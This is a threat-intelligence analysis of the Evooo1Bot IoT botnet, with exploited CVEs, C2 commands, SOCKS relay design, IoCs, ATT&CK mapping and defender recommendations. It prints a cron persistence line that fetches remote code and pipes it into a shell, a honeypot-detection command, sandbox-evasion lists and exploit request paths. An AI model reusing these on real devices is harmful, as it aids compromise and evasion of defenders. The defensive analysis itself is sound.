# Evooo1Bot: When an Infected Router Stops Being Disposable Ammunition and Becomes Rentable Infrastructure

## Summary

Evooo1Bot reuses the DDoS engine from the publicly leaked Mirai source code verbatim. That part is nothing new after ten years.

What is new is everything bolted onto it: encrypted C2 communications, an SSH brute-force scanner, a SOCKS relay module, a credential sniffer, and an integrated exploit arsenal targeting multiple known vulnerabilities. FortiGuard Labs named the family after the `evooo1` string hardcoded in every binary, and has observed activity since **July 2026**.

The most important point is not the feature list but that **the SOCKS relay module changes the economics of an infected device**.

With a traditional DDoS botnet, your router is disposable ammunition: it fires, gets noticed, gets patched, and its value ends. With Evooo1Bot it becomes **reusable infrastructure** — a proxy node usable to conceal attack origin, bypass geographic restrictions, pivot into internal networks, or simply be sold on the residential proxy market. Fortinet assesses this as the family's **most operationally significant** capability.

**Priority action: check whether any network device in your environment is listening on TCP port 1080, or initiating outbound SSH connections to the internet — both are behaviour with essentially no legitimate use case on a router or camera.**

* * *

## Discovery and Infection Vector

Evooo1Bot came to Fortinet's attention through IPS telemetry. They observed exploitation attempts against a range of edge devices, and the common thread was that **all payload callbacks pointed to the same loader URL**: `91.92.40[.]118/wget.sh`.

Ten vulnerabilities were observed being exploited in live traffic, spanning **2007 to 2025**:

| CVE | Target product |
| --- | --- |
| CVE-2007-3010 | Alcatel OmniPCX Enterprise — RCE |
| CVE-2016-6277 | NETGEAR multiple router models — RCE |
| CVE-2018-14558 | Tenda AC7, AC9, AC10 — command injection |
| CVE-2019-14931 | Mitsubishi Electric ME-RTU and INEA ME-RTU — command injection |
| CVE-2020-10987 | Tenda AC1900 (AC15) — RCE |
| CVE-2021-46422 | Telesquare SDT-CW3B1 — command injection |
| CVE-2022-37055 | D-Link routers — buffer overflow |
| CVE-2024-29269 | Telesquare TLR-2005KSH — command injection |
| CVE-2025-10123 | D-Link DIR-823X — command injection |
| CVE-2025-55583 | D-Link DIR-868L B1 — command injection |

Carrying both a 2007 flaw and 2025 disclosures is a deliberate choice: embedded devices have very long lifecycles, and a nearly twenty-year-old CVE still has live targets. Note that several CVEs on this list are widely shared across the IoT botnet ecosystem — their presence here is not a distinguishing indicator of Evooo1Bot specifically.

![Payload in exploit pcap](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image.img.png/1786478427657/f2-1.png align="center")

*Payload observed in a packet capture of exploitation traffic (source: FortiGuard Labs).*

The `wget.sh` script downloads and executes a binary matching the host's CPU architecture, trying **12 variants** via `wget`, then `busybox wget`, then `curl`, then `tftp`, in that order. The binary is written to a temporary path, made executable, and run — and **bash history is cleared post-infection**.

![wget.sh](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image_1244913004.img.png/1786478637985/f3.png align="center")

*The* `wget.sh` *loader script (source: FortiGuard Labs).*

### Campaign Labels: The Operator Is Measuring Per-Exploit Yield

This detail deserves separate attention.

Each exploitation attempt carries a **campaign label embedded in the download command** — for example `-s mitsu` for Mitsubishi Electric targets and `rep.alcatel` for Alcatel-Lucent targets. Fortinet assesses this as evidence the operator **independently tracks per-vulnerability infection yield**.

That is product-analytics behaviour, not script-kiddie behaviour. They are measuring which exploit produces the most devices per unit of effort, and most likely using those numbers to decide where to invest next. For a project whose output value is the number of usable proxy nodes, that kind of measurement makes complete business sense.

* * *

## Anti-Analysis: Investment Well Beyond the Mirai Baseline

Before executing, the binary checks four categories of analysis-environment indicators. The lists are long, and their length is itself informative.

**Filesystem presence checks:** strace, ltrace, gdb, lldb, valgrind, perf, radare2, r2, rizin, cutter, iaito, ghidra, ghidraRun, ida, ida64, idat, idat64, objdump, readelf, retdec-decompiler, wireshark, tshark, tcpdump, ngrep, ettercap, yara, ssdeep, binwalk, foremost, sysdig, bpftrace, auditd, ausearch, fatrace, inotifywait, lynis, rkhunter, chkrootkit, clamdscan, clamscan, volatility, vol.py, gcore.

**Running process name checks:** gdb, lldb, strace, ltrace, radare2, r2, rizin, rr, valgrind, perf, ida, ida64, ghidra, sysdig, bpftrace, **frida, frida-server**.

**Sandbox service name checks:** sandboxie, cuckoo, anubis, threatexpert, joebox, comodo, hybrid-analysis, cape-sandbox, fireeye, normanbox, drakvuf.

**VM and container fingerprint checks:** vmware, vbox, virtualbox, qemu, **firejail, bubblewrap, gvisor, kata**, cuckoo, joesandbox, cape, any.run, hybrid-analysis.

That last group stands out: `firejail`, `bubblewrap`, `gvisor` and `kata` are not classical virtual machines but modern sandboxing and container technologies. Checking for them shows the authors track how researchers actually work rather than copying an aging list.

For string protection, more than **60 encrypted string blocks** are handled by the same decryption procedure, using **AES-256-CTR and ChaCha20**. The keys are **not stored directly in the binary**: each is split into two 32-byte constants embedded in the `.data` section and combined at runtime via XOR. A separate XOR layer is applied to a subset of strings in `.rodata` (key `0x43` in the i386 build).

![Encrypted string](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image_1999520452.img.png/1786478713245/f4.png align="center")

*A string in its encrypted state within the binary (source: FortiGuard Labs).*

My reading of this section: the anti-analysis investment sits **well beyond the baseline for Mirai-derived malware**. Most Mirai variants do not obfuscate strings at all, or use a single XOR with the key sitting right beside the data. Evooo1Bot's authors expect their samples to be analysed and prepared accordingly.

Once all checks pass, the binary connects to C2 on **port 443** — Fortinet notes the port was chosen to blend in with expected HTTPS traffic at the network perimeter.

* * *

## Module Architecture: 28 Commands

| Module | Commands | Description |
| --- | --- | --- |
| Persistence | `!persist` | Installs all persistence mechanisms simultaneously |
| Self-Update | `!reinstall` | Downloads and replaces the running binary |
| Control | `!kill` `!exit` `!info` | Terminate bot, exit gracefully, or return system info |
| File Transfer | `!download` `!upload` | Bidirectional; 10 MB download limit; delimited by `__FILE_START__` and `__FILE_END__` |
| Interactive Shell | `!shell` `!exec` `!stream` `!detach` `!bg` | Opens a `/dev/ptmx` PTY, sets `TERM=xterm-256color`, supports background execution and detach |
| Sniffer | `!sniff` `!stopsniff` | Reads `/proc/net/tcp`, intercepts HTTP Basic Authorization and Cookie headers, writes to `/tmp/.sniff.log` |
| SOCKS Relay | `!socks` `!socksauth` `!stopsocks` | Converts victim into a proxy node with optional authentication, relays arbitrary TCP traffic |
| SSH Scanner | `!ssh` `!stopssh` `!enableautossh` `!disableautossh` | Built-in SSH client with a 150+ entry credential dictionary |
| DDoS | `!attack` `!stopattack` | 16 flood methods |
| CVE Exploit | `!cve` `!stopcve` `!cveall` | HTTP-based exploit dispatcher with operator-supplied payload host (`MODE:all` for concurrent sweep) |

The `!cve`, `!stopcve` and `!cveall` commands exist only in the latest version — earlier builds support everything else.

### Persistence: Five Mechanisms at Once

A single `!persist` command installs them all:

```plaintext
systemd service   Unit file with Description=Apache HTTPD Cache Manager, Restart=always
SysV init         Script in /etc/init.d with a ### BEGIN INIT INFO header
cron              Re-downloads the script every 5 minutes:
                  */5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh ...'
Shell profile     Injection into /etc/profile.d/, executed on login
rc.local          Appends a download script to /etc/rc.local
```

Naming the unit file `Apache HTTPD Cache Manager` is a reasonably good disguise: it sounds plausible on a Linux server and does not trigger an administrator's suspicion when scanning a service list.

To resist termination, the binary writes to `/proc/self/oom_score_adj` to reduce the OOM-killer's priority, and **keeps** `/dev/watchdog` **open to prevent a device reboot from interrupting operation**.

That second detail is particularly sharp and worth remembering. The watchdog is the mechanism many embedded devices use to recover from a hang — if a monitoring process fails to pet the watchdog within a set interval, the device reboots itself. By holding the handle open, the malware disables that self-recovery mechanism. In other words, the familiar advice to "reboot the router to clear IoT malware" has been pre-empted.

* * *

## The SOCKS Relay: Two Modes, and Why Reverse Mode Matters More

![SOCKS relay](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image_1967520075.img.png/1786480512628/f7.png align="center")

*The SOCKS relay module in the analysed code (source: FortiGuard Labs).*

Unlike typical botnet commands focused on downloading payloads or launching attacks, `!socks` turns the infected host into a SOCKS5 proxy the operator can use as a network relay.

**Direct mode.** The bot opens a SOCKS5 listener on the infected host at default TCP port **1080** and waits for incoming client connections. The implementation first attempts a dual-stack IPv6 listener and falls back to IPv4 if that fails. Each accepted client is passed to the session handler.

**Reverse mode.** Rather than exposing a listening port, the bot establishes an outbound encrypted connection to an operator-specified relay server. This persistent control channel listens for commands such as `RELAY_NEW:<session_id>`, indicating a new proxy session should be created.

On receiving the request, the bot opens a second encrypted connection to the same relay server, registers it using `RELAY_DATA:<session_id>`, and hands the connection to the SOCKS5 proxy routine. **This architecture separates session control from proxy traffic**, allowing multiple sessions to run independently while maintaining a stable control connection.

For defenders, reverse mode is by far the more concerning of the two. Direct mode leaves an open port — something periodic network scanning can catch. Reverse mode **opens no port on the victim device**, so there is no external indicator to scan for; it looks like an ordinary outbound TLS connection on port 443.

Fortinet spells out the value this delivers to attackers: the victim's IP address can be used to disguise malicious traffic, bypass geographic restrictions, or provide access to internal networks through an already compromised machine. In larger botnets, the same functionality could build **distributed proxy infrastructure**, enabling anonymous traffic forwarding or monetization through residential and enterprise proxy services.

* * *

## SSH Brute-Forcing and Honeypot Evasion

Before starting the scanner, the malware runs **two honeypot checks at different stages of the connection**. This is the section with the most direct operational value in the whole report.

**The first check runs during the protocol handshake, before any credentials are submitted.** The scanner compares the target's SSH banner against a hardcoded list:

|  |  |  |
| --- | --- | --- |
| Cowrie | `SSH-2.0-paramiko` | `SSH-2.0-Go` |
| Kippo | `SSH-2.0-libssh` | `SSH-2.0-Parks` |
| HonSSH | Twisted | `SSH-2.0-CISCO_WLC` |
| Glutton | `russh_` | `SSH-2.0-Server` |
| OpenCanary | ssh2js | `SSH-2.0-MocanaSSH` |

A match on any entry causes the target to be **silently skipped, with no logging and no further interaction**.

**The second check runs after a successful login, before the persistence payload is delivered.** The scanner issues this command over the established session:

```plaintext
cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null
```

The `/proc/version` output is checked for the substring `Linux version`. If absent, it indicates an emulated or non-standard environment and the target is skipped. The `ls` command detects two honeypot families: **Cowrie and Kippo**. If any indicator is found, the scanner abandons the target.

Fortinet explains the two checks are **complementary rather than redundant**: the banner check filters out honeypots that announce themselves through their SSH implementation identifier, while the post-login probe targets honeypots presenting a plausible banner but exposing themselves through the underlying host's filesystem layout. Only targets passing all three conditions proceed to payload delivery.

**This has a very concrete consequence for teams running honeypots.** If your organisation uses Cowrie or Kippo to collect samples and assess SSH threat activity — the two most common choices, and often the default — **you will not catch this family**, and you will see no trace that it visited, because the malware leaves silently at the banner stage. Your SSH threat metrics are missing Evooo1Bot, and quite likely other families applying the same technique. If honeypots feed your TI process, this is a specific reason to consider less common implementations or customising default banners.

Having passed the checks, the scanner uses a built-in SSH client with the banner `SSH-2.0-OpenSSH_9.7p1`.

![Hardcoded credentials](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image_1801779559.img.png/1786480874392/f8.png align="center")

*The credential dictionary hardcoded in the binary (source: FortiGuard Labs).*

### A Credential Dictionary With an Enterprise Flavour

The embedded dictionary contains **over 150 entries**. Beyond typical IoT default credentials, the list includes **service account names**: `jenkins`, `postgres`, `oracle`, `nagios`, `deploy`.

Fortinet notes these are more common in **enterprise and operational technology environments than on consumer routers**.

Combine that with the other pieces of the picture — CVE-2019-14931 targeting Mitsubishi Electric industrial RTU devices, and an exploit module containing Kubernetes ingress-nginx and Atlassian Confluence — and the conclusion is clear: this is not a botnet that only hunts home routers. The authors anticipated landing on servers and operational equipment, and packed the dictionary accordingly.

* * *

## The DDoS Engine

This part remains structurally consistent with the leaked Mirai source. The HTTP flood variant supports operator-specified `METHOD`, `HEADER` and `EXPECT` values, constructing requests with a customizable User-Agent and Content-Length.

| ID | Method | Description |
| --- | --- | --- |
| 0x00 | udp | Generic UDP flood |
| 0x01 | vse | Valve Source Engine query amplification |
| 0x02 | dns | DNS flood |
| 0x03 | syn | TCP SYN flood |
| 0x04 | ack | TCP ACK flood |
| 0x05 | stomp | TCP STOMP |
| 0x06 | greip | GRE-encapsulated IP flood |
| 0x07 | greeth | GRE-encapsulated Ethernet flood |
| 0x08 | udpplain | High-PPS UDP, minimal header overhead |
| 0x09 | std | UDP flood with random-length payload |
| 0x0a | xmas | TCP with all flags set |
| 0x0b | usyn | URG+SYN variant |
| 0x0c | tcpall | TCP with arbitrary flag combinations |
| 0x0d | tcpfrag | Fragmented TCP flood |
| 0x0e | ovh | Technique designed to bypass OVH DDoS mitigation |
| 0x0f | asyn | Asynchronous SYN flood |

The integrated exploit module carries a plaintext CVE table in the binary, each entry mapping a CVE to one or more HTTP request strings. The operator supplies the payload host at runtime via `!cve <url>` or `!cveall <url>`:

| CVE | Target product | Path |
| --- | --- | --- |
| CVE-2021-36260 | Hikvision IP camera | `/SDK/webLanguage` |
| CVE-2022-26134 | Atlassian Confluence | `/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils` |
| CVE-2022-30525 | Zyxel Firewall | `/ztp/cgi-bin/handler` |
| CVE-2023-1389 | TP-Link Archer AX21 | `/cgi-bin/luci/;stok=/locale` |
| CVE-2024-4577 | PHP-CGI (Windows) | `allow_url_include%3D` |
| CVE-2024-10914 | D-Link NAS | `/cgi-bin/account_mgr.cgi` |
| CVE-2025-1974 | Kubernetes ingress-nginx | `/apis/networking/v1/ingresses` |
| CVE-2022-29464 | WSO2 products | `/fileupload/` |

* * *

## Indicators of Compromise

> Indicators taken from the FortiGuard Labs report of 13 August 2026. IPs are defanged.

**Infrastructure**

```plaintext
91.92.40[.]118                      # loader and C2 server
hxxp://91.92.40[.]118/wget.sh       # loader script, fetches 12 architecture-specific variants
 
C2 port: TCP 443                    # chosen to blend with HTTPS at the perimeter
```

**Sample hashes (SHA-256)**

```plaintext
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d
```

**On-device artifacts**

```plaintext
# Identifying string
evooo1                              # hardcoded in every binary of this family
 
# Persistence
systemd unit with Description=Apache HTTPD Cache Manager and Restart=always
Script in /etc/init.d/ with a ### BEGIN INIT INFO header
Cron entry running every 5 minutes, piping wget or curl output into /bin/sh
Injected file in /etc/profile.d/
Anomalous appended line in /etc/rc.local
 
# Termination resistance
Anomalous value in /proc/self/oom_score_adj
A process holding a /dev/watchdog handle open
 
# Sniffer
/tmp/.sniff.log                     # stores captured HTTP Basic Auth credentials and cookies
Unexpected process reads of /proc/net/tcp
```

**Network artifacts**

```plaintext
# SOCKS relay
Listener on TCP port 1080 from a router, camera or embedded device   (direct mode)
Long-lived outbound TLS to an unfamiliar address on 443 from an embedded device   (reverse mode)
 
# Relay protocol markers
RELAY_NEW:<session_id>
RELAY_DATA:<session_id>
 
# File transfer markers
__FILE_START__
__FILE_END__
 
# SSH scanner
Client banner: SSH-2.0-OpenSSH_9.7p1
Outbound SSH connections from network devices to the internet
 
# Campaign labels in download commands
-s mitsu                            # Mitsubishi Electric targets
rep.alcatel                         # Alcatel-Lucent targets
```

**Exploited CVEs — initial infection**

```plaintext
CVE-2007-3010     Alcatel OmniPCX Enterprise
CVE-2016-6277     NETGEAR (multiple router models)
CVE-2018-14558    Tenda AC7 / AC9 / AC10
CVE-2019-14931    Mitsubishi Electric ME-RTU, INEA ME-RTU
CVE-2020-10987    Tenda AC1900 (AC15)
CVE-2021-46422    Telesquare SDT-CW3B1
CVE-2022-37055    D-Link routers
CVE-2024-29269    Telesquare TLR-2005KSH
CVE-2025-10123    D-Link DIR-823X
CVE-2025-55583    D-Link DIR-868L B1
```

**CVEs in the exploit module**

```plaintext
CVE-2021-36260    Hikvision IP camera
CVE-2022-26134    Atlassian Confluence
CVE-2022-29464    WSO2 products
CVE-2022-30525    Zyxel Firewall
CVE-2023-1389     TP-Link Archer AX21
CVE-2024-4577     PHP-CGI (Windows)
CVE-2024-10914    D-Link NAS
CVE-2025-1974     Kubernetes ingress-nginx
```

**Fortinet coverage**

```plaintext
FortiGuard Antivirus: Linux/Agent.BDS!tr
 
IPS signatures (15):
  alcatel-lucent.omnipcx.office.mastercgi.user.command.execution     CVE-2007-3010
  NETGEAR.WebServer.Module.Command.Injection                         CVE-2016-6277
  Tenda.AC15.AC1900.Authenticated.Remote.Command.Injection           CVE-2018-14558, CVE-2020-10987
  mitsubishi.electric.me-rtu.command.injection                       CVE-2019-14931
  Hikvision.Products.SDK.WebLanguage.Tag.Command.Injection           CVE-2021-36260
  Telesquare.SDT-CW3B1.Command.Injection                             CVE-2021-46422, CVE-2024-29269
  HTTP.URI.Java.Expression.Language.Code.Injection                   CVE-2022-26134
  WSO2.fileupload.Arbitrary.File.Upload                              CVE-2022-29464
  Zyxel.Firewall.ZTP.Command.Injection                               CVE-2022-30525
  D-link.go-rt-ac750.hnap_main.buffer.overflow                       CVE-2022-37055
  TP-Link.Archer.AX21.luci.stok.Command.Injection                    CVE-2023-1389
  D-Link.Devices.account_mgr.cgi.Command.Injection                   CVE-2024-10914
  PHP.CGI.Argument.Injection                                         CVE-2024-4577
  D-Link.DIR-823X.set_static_leases.Command.Injection                CVE-2025-10123
  D-Link.DIR-868L.fileaccess.cgi.Command.Injection                   CVE-2025-55583
```

* * *

## MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | Observed in campaign |
| --- | --- | --- | --- |
| Initial Access | T1190 | Exploit Public-Facing Application | 10 CVEs across edge devices |
| Initial Access | T1110.001 | Brute Force: Password Guessing | SSH scanner with a 150+ entry dictionary |
| Initial Access | T1078.001 | Valid Accounts: Default Accounts | IoT default credentials |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | `wget.sh`, interactive PTY shell |
| Persistence | T1543.002 | Create or Modify System Process: Systemd Service | `Apache HTTPD Cache Manager` unit |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | Payload re-download every 5 minutes |
| Persistence | T1037.004 | Boot or Logon Initialization Scripts: RC Scripts | `/etc/init.d`, `/etc/rc.local` |
| Persistence | T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification | Injection into `/etc/profile.d/` |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | Unit file posing as Apache HTTPD |
| Defense Evasion | T1027 | Obfuscated Files or Information | AES-256-CTR, ChaCha20, layered XOR |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Split keys recombined by XOR at runtime |
| Defense Evasion | T1497.001 | Virtualization/Sandbox Evasion: System Checks | VM, container, sandbox and honeypot checks |
| Defense Evasion | T1622 | Debugger Evasion | File and process checks for 50+ analysis tools |
| Defense Evasion | T1070.003 | Indicator Removal: Clear Command History | Bash history cleared post-infection |
| Credential Access | T1040 | Network Sniffing | Reads `/proc/net/tcp`, captures HTTP Basic Auth and cookies |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | Encrypted C2 and relay channels |
| Command and Control | T1571 | Non-Standard Port | Port 443 carrying a custom C2 protocol rather than HTTPS |
| Command and Control | T1090.001 | Proxy: Internal Proxy | SOCKS5 listener on port 1080 |
| Command and Control | T1090.003 | Proxy: Multi-hop Proxy | Reverse relay through the operator's server |
| Command and Control | T1105 | Ingress Tool Transfer | `wget.sh` and the `!download` command |
| Impact | T1498 | Network Denial of Service | 16 DDoS methods |
| Impact | T1498.001 | Direct Network Flood | UDP, SYN, ACK, GRE and other variants |

* * *

## Assessment

**The economics of IoT botnets are shifting, and Evooo1Bot is a clear example.**

For a pure DDoS botnet, each infected device is a consumable resource. It participates in a few attacks, may get blocked by an ISP or patched by its owner, and disappears. The revenue model is selling by the second or by the attack, and the operator must constantly replace lost bots.

With the SOCKS relay module, that same device becomes **infrastructure with recurring value**. A router on an ISP's residential IP range has a real market: residential proxy services sell the ability to route traffic through legitimate residential IPs, and customers of that kind of service pay monthly rather than by the second. Fortinet raises this monetization angle directly in its conclusion.

That shift changes incentives: the operator now has reason to **keep devices alive and quiet** rather than burn them out. It explains a great deal of the design in the code — the elaborate anti-analysis layer, the honeypot evasion, holding `/dev/watchdog` open, and five parallel persistence mechanisms. This is not malware written to fire once.

**For businesses, the biggest risk is not bandwidth but identity.** When your device becomes a SOCKS node, traffic attacking other organisations leaves from your public IP address. You appear in someone else's victim logs as **attack infrastructure**, not as a victim. That brings provider blocklist exposure, legal exposure, and reputational exposure when international partners run their reviews — all considerably harder to unwind than cleaning up an infection.

**On code maturity.** The anti-analysis layer here goes well beyond the Mirai-derived baseline: 60+ encrypted string blocks under AES-256-CTR and ChaCha20, split keys recombined at runtime, and check lists including `gvisor` and `kata` — technologies only someone tracking how researchers actually work would think to include. Alongside that: 28 commands, a full PTY shell, bidirectional file transfer with delimiters. This is a seriously resourced project, not a Mirai variant with a few lines changed.

### Relevance for Vietnam

**The target device list lands almost entirely on locally common hardware.** Tenda, D-Link and TP-Link are three router brands with large market share in the Vietnamese household and small business segment. Hikvision cameras (CVE-2021-36260 in the exploit module) are present in nearly every shop, office and building. This is not a list aimed at large enterprise infrastructure — it targets what sits in every small office's network cabinet and on every shopfront ceiling.

**The risk does not stop at the network device layer.** The SSH dictionary contains `postgres`, `oracle`, `jenkins`, `nagios` and `deploy`; the exploit module contains Kubernetes ingress-nginx and Atlassian Confluence; and the infection CVE list includes industrial RTU equipment. If your organisation has any application server or CI/CD system exposing SSH to the internet with weak passwords, it falls within this campaign's scope.

**The two cheapest and least noisy detection points.** First: a router, camera or DVR **initiating outbound SSH to the internet** is behaviour with essentially no legitimate use case — embedded devices have no business reason to do it. Second: **a listener on TCP port 1080 from a network device** is the same. Neither requires prior knowledge of a malware name or expensive tooling.

Reverse mode is considerably harder — it merely looks like an outbound TLS connection on port 443. What discriminates there is **connection longevity combined with device type**: an IP camera holding a long-lived TLS session to an unfamiliar overseas address resembles none of its legitimate activity.

Finally, a note for response procedures: because the malware holds `/dev/watchdog` open and installs five parallel persistence mechanisms, **rebooting the device is not enough**. Reflash the firmware to the latest clean image and rotate all credentials.

* * *

## Recommendations

*   **Update firmware across all edge devices** against the CVE list in this article, prioritising Tenda, D-Link, TP-Link and Hikvision cameras; replace hardware that is past end of support.
    
*   **Change default credentials and disable SSH/Telnet on the WAN interface** of every router, camera, DVR and embedded Linux device; on servers, use key-based authentication instead of passwords.
    
*   **Alert on two specific behaviours:** embedded devices initiating outbound SSH to the internet, and listeners on TCP port 1080 from the device network segment.
    
*   **Baseline outbound connections from the IoT segment** and alert on long-lived TLS sessions to unfamiliar addresses on port 443 — this is the only way to catch reverse relay mode.
    
*   **Periodically check your organisation's public IPs against blocklists and reputation services** — if your devices are acting as proxy nodes, that may be the first signal you receive.
    
*   **If compromise is suspected, do not just reboot:** reflash the firmware to the latest clean image, rotate all credentials, and review other devices in the same segment — the SSH brute-force module spreads laterally inside internal networks.
    

* * *

## References

*   FortiGuard Labs — [Multi-Functional Linux Botnet "Evooo1Bot"](https://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot), Cara Lin (13 August 2026) — original report
    
*   BleepingComputer — [New Evooo1Bot Linux botnet turns routers into traffic relay nodes](https://www.bleepingcomputer.com/news/security/new-evooo1bot-linux-botnet-turns-routers-into-traffic-relay-nodes/)
    
*   GBHackers — [Evooo1Bot Turns Compromised Routers Into DDoS Bots and Anonymous Proxy Nodes](https://gbhackers.com/linux-botnet-dubbed-evooo1bot/)
    
*   Techzine — [New Linux botnet turns routers into proxy servers](https://www.techzine.eu/news/security/143630/new-linux-botnet-turns-routers-into-proxy-servers/)
    
*   FastNetMon — [DDoS News: Evooo1Bot Linux Botnet Hijacks Routers and Firewalls](https://fastnetmon.com/2026/08/19/ddos-news-evooo1bot-linux-botnet-hijacks-routers-and-firewalls/)
    
*   MITRE ATT&CK — [T1090: Proxy](https://attack.mitre.org/techniques/T1090/)
    
*   MITRE ATT&CK — [T1622: Debugger Evasion](https://attack.mitre.org/techniques/T1622/)